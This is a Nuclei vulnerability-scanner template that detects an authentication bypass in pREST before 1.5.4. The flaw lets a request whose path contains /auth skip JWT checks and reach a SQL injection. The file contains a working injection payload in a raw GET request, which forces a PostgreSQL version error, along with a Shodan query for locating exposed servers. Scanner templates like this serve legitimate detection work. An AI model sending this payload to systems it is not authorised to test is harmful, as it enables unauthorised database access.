nuclei-templates/http/vulnerabilities/other/prest-sqli-auth-bypass.yaml

id: prest-sqli-auth-bypass

info:
  name: pREST < 1.5.4 - SQL Injection Via Authentication Bypass
  author: mihail8531,iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability was introduced by changing the JWT whitelist configuration to use a regex pattern, allowing unauthorized access to any path containing /auth and leading to SQL Injection.
  reference:
    - https://github.com/advisories/GHSA-wm25-j4gw-6vr3
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"authorization token is empty"
  tags: sqli,prest,auth-bypass,sqli

variables:
  database: "{{database}}"

http:
  - raw:
      - |
        GET /{{database}}/information_schema".tables)s%20where%201=version()::int--/auth HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'pq: invalid input syntax for type integer: \"PostgreSQL '

      - type: word
        part: content_type
        words:
          - 'application/json'
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